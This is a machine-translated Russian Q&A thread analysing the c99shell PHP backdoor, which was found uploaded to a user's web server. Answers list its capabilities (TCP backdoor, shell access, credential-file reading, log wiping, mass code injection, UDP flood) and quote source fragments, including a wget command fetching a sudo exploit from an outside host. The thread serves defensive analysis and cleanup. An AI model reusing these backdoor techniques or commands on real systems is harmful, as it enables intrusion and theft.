2010-09-14 5 views
22

ВНИМАНИЕ: Это возможный эксплойт. Не запускайте прямо на своем сервере, если вы не знаете, что с этим делать.Взломанный, что делает этот кусок кода?

http://pastehtml.com/view/1b1m2r6.txt

Я считаю, что это было загружено с помощью сценария небезопасной загрузки. Как декодировать и распаковывать этот код? Запуск его в браузере может выполнить его как скрипт оболочки, открыть порт или что-то еще.

Я могу сделать base64-декодирование в Интернете, но я действительно не смог его распаковать.

+0

Можно ли для вас Я не могу открыть эту ссылку. Я не могу открыть эту ссылку .. – jyz

+1

Я боюсь, что она выполнена. :(Кстати, вы можете распаковать ее, но не оценивайте ее. – fabrik

+1

@jyzuz: Код огромен. – fabrik

ответ

32

Итак, есть строка. Он кодируется gzipped и base64, и код декодирует base64, а затем распаковывает его.

Когда это сделано, я привел с этим:

<? eval(base64_decode('...')); ?> 

Другой слой base64, который имеет длину 720440 байт.

Теперь, base64 расшифровывает, что у нас есть 506961 байт кода эксплойта.

Я все еще изучаю код и обновляю этот ответ, когда у меня больше понимания. Код огромен.

Тем не менее чтение через код, и (очень хорошо сделано) эксплуатируют позволяет эти инструменты подвергаться хакера:

  • Настройка TCP бэкдор
  • несанкционированный доступ к оболочке
  • чтение всех Htpasswd, HTAccess, пароль и файлы конфигурации
  • журнал протирания
  • доступа MySQL (чтение, запись)
  • Append код для всех файлов, соответствующих шаблону имен (масса эксплуатируют)
  • RFI/LFI сканер
  • UDP флуд
  • информация ядра

Это, вероятно, является профессиональным PHP-сервер, основанный на масштабах использовать инструментарий, и видя, что у него есть хороший HTML-интерфейс и вся его партия, его можно легко использовать про-хакером или даже скриптом kiddie.

Этот эксплойт называется c99shell (спасибо Yi Jiang), и, оказывается, он довольно популярен, об этом говорят и работают уже несколько лет. В Google для этого эксплойта есть много результатов.

+3

Вау, это полная настройка бэкдора. Хотя парень, который загрузил его, вероятно, еще один сценарий kiddie. Он был размещен непосредственно в нашем корневом каталоге apache. И настоящий хакер удалил бы его после настройки бэкдора. – HyderA

+0

В нем есть сценарий оболочки, строка с именем $ backdoor, которая выписана и exec'd. Затем PHP сообщает пользователю, что это было сделано, и для подключения к netcat. – 2010-09-14 11:23:07

+4

Чувство, подобное этому, пугает меня 'array (« wget Sudo Exploit »,« wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c »),' – HyderA

3

Сначала замените eval на echo, чтобы узнать, какой код он выполнит, если вы позволите. Отправьте вывод этого скрипта в другой файл, скажем, test2.php. В этом файле повторите тот же трюк. Запустите его, и он выведет полную вредоносную программу (это довольно зверь), ~ 4k линий восторга хакера.

+0

Вы правы, почему я не подумал об этом ?! – HyderA

16

Рассматривая декодированный источник Delan, он представляет собой полноценный бэкдор, обеспечивающий веб-интерфейс, который может использоваться для управления сервером различными способами.Рассказывая фрагменты из источника:

echo '<center>Are you sure you want to install an IP:Port proxy on this 
website/server?<br /> 

или

<b>Mass Code Injection:</b><br><br> 
Use this to add PHP to the end of every .php page in the directory specified. 

или

echo "<br><b>UDP Flood</b><br>Completed with $pakits (" . 
    round(($pakits*65)/1024, 2) . " MB) packets averaging ". 
    round($pakits/$exec_time, 2) . " packets per second \n"; 

или

if (!$fp) {echo "Can't get /etc/passwd for password-list.";} 

Я бы посоветовал вам, чтобы вычистить этот сервер и заново установить все из царапина.

+4

+1 от меня, здравый совет. – 2010-09-14 11:29:08

7

Я знаю Делан Azabani сделал это, но только так вы на самом деле знаете, как он получил данные из:

Только в случае, если вам интересно, как распаковывать это, используйте base64 -d filename > output для разбора строк base64 и gunzip file.name.gz в анализировать данные gzipped.

Трюк в том, что вы узнали, что у вас есть base64 или gunzip и разблокировка правильных бит.

Таким образом, это абсолютно не похоже на парсер JS или парсер PHP.

+2

Большой наконечник безопасности; никогда не позволяйте этому исполнять. –

2

Это код для php shell.
декодировать этот

заменить заменить Eval ("?>". С печатью ( запустить этот

php5 file.php > file2.php 

затем заменить Eval с печатью и запустить в браузере. http://loclhost/file2.php

Смежные вопросы